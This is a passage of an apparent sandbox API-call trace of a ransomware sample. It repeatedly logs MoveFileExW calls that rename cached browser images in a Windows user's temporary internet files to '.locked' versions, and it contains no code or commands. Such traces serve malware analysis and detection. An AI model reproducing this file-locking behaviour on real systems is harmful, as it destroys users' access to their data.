"c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbblccz[1].jpg.locked"), dwFlags=0x2) returned 1 [0149.051] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLdzQ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbldzq[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLdzQ[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbldzq[1].jpg.locked"), dwFlags=0x2) returned 1 [0149.056] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1mQ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbo1mq[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1mQ[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbo1mq[1].jpg.locked"), dwFlags=0x2) returned 1 [0149.074] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1qB[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbo1qb[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1qB[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbo1qb[1].jpg.locked"), dwFlags=0x2) returned 1 [0149.079] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOIAt[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbboiat[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOIAt[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbboiat[1].jpg.locked"), dwFlags=0x2) returned 1 [0149.084] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOmuh[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbomuh[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOmuh[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbomuh[1].jpg.locked"), dwFlags=0x2) returned 1 [0149.092] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPK5J[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbpk5j[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPK5J[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbpk5j[1].jpg.locked"), dwFlags=0x2) returned 1 [0149.101] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPMvJ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbpmvj[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPMvJ[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbpmvj[1].jpg.locked"), dwFlags=0x2) returned 1 [0149.106] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUL3E[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbul3e[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUL3E[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbul3e[1].jpg.locked"), dwFlags=0x2) returned 1 [0149.113] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbuqkt[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbuqkt[1].jpg.locked"), dwFlags=0x2) returned 1 [0149.118] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[2].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbuqkt[2].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[2].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbuqkt[2].jpg.locked"), dwFlags=0x2) returned 1 [0149.123] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBX3z0[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbx3z0[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBX3z0[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbx3z0[1].jpg.locked"), dwFlags=0x2) returned 1 [0149.134] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYEW1[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbyew1[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYEW1[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbyew1[1].jpg.locked"), dwFlags=0x2) returned 1 [0149.144] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYfEH[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbyfeh[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYfEH[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbyfeh[1].jpg.locked"), dwFlags=0x2) returned 1 [0149.160] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZ20W[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbz20w[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZ20W[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbz20w[1].jpg.locked"), dwFlags=0x2) returned 1 [0149.172] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBzaxY[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbzaxy[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBzaxY[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbzaxy[1].jpg.locked"), dwFlags=0x2) returned 1 [0149.184] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZzuz[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbzzuz[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZzuz[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbzzuz[1].jpg.locked"), dwFlags=0x2) returned 1 [0149.202] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC03B1[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc03b1[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC03B1[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc03b1[1].jpg.locked"), dwFlags=0x2) returned 1 [0149.215] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC04o2[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc04o2[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC04o2[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc04o2[1].jpg.locked"), dwFlags=0x2) returned 1 [0149.227] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC06ZQ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc06zq[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC06ZQ[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc06zq[1].jpg.locked"), dwFlags=0x2) returned 1 [0149.235] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0ALC[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc0alc[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0ALC[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc0alc[1].jpg.locked"), dwFlags=0x2) returned 1 [0149.240] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0BiZ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc0biz[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0BiZ[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc0biz[1].jpg.locked"), dwFlags=0x2) returned 1 [0149.257] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc0fxu[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc0fxu[1].jpg.locked"), dwFlags=0x2) returned 1 [0149.273] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[2].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc0fxu[2].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[2].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc0fxu[2].jpg.locked"), dwFlags=0x2) returned 1 [0149.287] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc0mkg[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc0mkg[1].jpg.locked"), dwFlags=0x2) returned 1 [0149.293] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[2].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc0mkg[2].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[2].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc0mkg[2].jpg.locked"), dwFlags=0x2) returned 1 [0149.303] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0oQi[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc0oqi[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0oQi[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc0oqi[1].jpg.locked"), dwFlags=0x2) returned 1 [0149.309] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0tCi[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc0tci[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0tCi[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc0tci[1].jpg.locked"), dwFlags=0x2) returned 1 [0149.325] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBCM2U2[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbcm2u2[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBCM2U2[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbcm2u2[1].jpg.locked"), dwFlags=0x2) returned 1 [0149.329] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDGTbx[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbdgtbx[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDGTbx[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbdgtbx[1].jpg.locked"), dwFlags=0x2) returned 1 [0149.332] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDk44m[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbdk44m[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDk44m[1].png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbdk44m[1].png.locked"), dwFlags=0x2) returned 1 [0149.347] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDWXoC[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbdwxoc[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDWXoC[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbdwxoc[1].jpg.locked"), dwFlags=0x2) returned 1 [0149.352] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE3NcH[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbe3nch[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE3NcH[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbe3nch[1].jpg.locked"), dwFlags=0x2) returned 1 [0149.355] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE7GLE[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbe7gle[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE7GLE[1].png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbe7gle[1].png.locked"), dwFlags=0x2) returned 1 [0149.364] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE8aLO[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbe8alo[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE8aLO[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbe8alo[1].jpg.locked"), dwFlags=0x2) returned 1 [0149.368] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEd5bF[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbed5bf[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEd5bF[1].jpg.locked" 